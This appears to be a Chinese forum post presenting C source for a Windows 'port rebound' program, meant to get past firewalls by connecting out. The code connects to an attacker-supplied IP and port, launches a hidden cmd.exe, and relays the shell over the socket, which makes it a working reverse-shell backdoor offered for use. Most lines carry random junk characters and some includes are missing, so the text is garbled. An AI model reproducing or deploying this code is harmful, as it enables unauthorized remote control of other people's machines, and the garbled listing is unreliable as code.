Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 >a
w`kr  
|j2b=0Rpk  
/* ============================== 5B:%##Ug5  
Rebound port in Windows NT 0[\sz>@  
By wind,2006/7 >]/RlW[  
===============================*/ w^BF.Nu  
#include ML:Zm~A1U  
#include $G UCVxs  
+)
J;4B  
#pragma comment(lib,"wsock32.lib") 19#s:nt9  
1:Sq?=&  
void OutputShell(); Dt#( fuk#  
SOCKET sClient; *P:!lO\|  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; /w|!SZB  
V= wWY*C  
void main(int argc,char **argv) HGiO}|q:  
{  ,>C`|  
WSADATA stWsaData; :r+BL@9  
int nRet; o54/r#~fi  
SOCKADDR_IN stSaiClient,stSaiServer; Yee% <<S  
K$1(HbL  
if(argc != 3) Q
 L 1e  
{ 0pfgE=9  
printf("Useage:\n\rRebound DestIP DestPort\n"); z*oeho  
return; Xh5&J9pw   
} EOj.Jrs~  
v.Vdjs  
WSAStartup(MAKEWORD(2,2),&stWsaData); . .5s2  
s*;rt  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); (=\))t8J  
;L`NF"  
stSaiClient.sin_family = AF_INET; GZq~Pl  
stSaiClient.sin_port = htons(0); -f&m4J} E  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); #TUuk  
kq$0~lNI$  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) )/:j$aq  
{ l b9O  
printf("Bind Socket Failed!\n"); > r %:!o  
return; |XrGf2P9u  
} ow<z @^ 3'  
q2{Aq[  
stSaiServer.sin_family = AF_INET; $wm.,Vb  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ##QKXSD  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); .EfGL_  
/:=,mWoO  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) .wpp)M.w;H  
{ .Ce0yAl~  
printf("Connect Error!"); J/k4CV*li(  
return; '=V1'I*  
} S%6V(L|  
OutputShell(); F'^y?UP[  
} `Q1;Y  
Tfytc$aQ  
void OutputShell() "KHe6otmi_  
{ I9ZJ"29  
char szBuff[1024]; s +Q'\?  
SECURITY_ATTRIBUTES stSecurityAttributes; LLV1W0VO=P  
OSVERSIONINFO stOsversionInfo; yhsbso,5 a  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; <)]j;Tl  
STARTUPINFO stStartupInfo; o4qB0h  
char *szShell; .-mlV ^  
PROCESS_INFORMATION stProcessInformation; Qd"R@+i  
unsigned long lBytesRead; ^ZD0rp(l  
3?x}48  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 9O{b8=\}  
V9\y*6#Y,  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); D/`b~Yl  
stSecurityAttributes.lpSecurityDescriptor = 0; ?y|8bw<  
stSecurityAttributes.bInheritHandle = TRUE; CkeqK  
|h 3`z  
X-']D_f|,  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); +\GuZ5`  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ']^
_W0?=  
.t9*wz  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 5M= S7B3=  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 1 F+$\fLr  
stStartupInfo.wShowWindow = SW_HIDE; R-]i BL  
stStartupInfo.hStdInput = hReadPipe; 'iikcf*)C  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; FNHJHuTe  
_OY<Hb3%M  
GetVersionEx(&stOsversionInfo); BnPL>11Y  
qG8-UOUDt  
switch(stOsversionInfo.dwPlatformId)
'
(fCi  
{ FV>xAU$  
case 1: IWNIk9T,u  
szShell = "command.com"; V5up/6b,1  
break; Epm%/ {sHV  
default: &
B@qb?UE1  
szShell = "cmd.exe"; )#0Llx!  
break; wpepi
8w,  
} qYbPF|Y=Z  
<xaB$}R  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ,&aD U  
Q^|aix~ K  
send(sClient,szMsg,77,0); f'&   
while(1) lFc4| _c g  
{ pWN5>HV  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); L.$+W}  
if(lBytesRead) kT,2eel  
{ -z?O^:e#x  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); _/RP3"#  
send(sClient,szBuff,lBytesRead,0); ^SJa/I EZ.  
} G}0fk]%\:  
else mP+rPDGp  
{ [+ N 5  
lBytesRead=recv(sClient,szBuff,1024,0);
O#@KP"8  
if(lBytesRead<=0) break; .9u,54t  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); a4D4*=!G0  
} 2\
L}Ka|v  
} E?^A+)<"  
.ta*M{t  
return; G{{Or  
}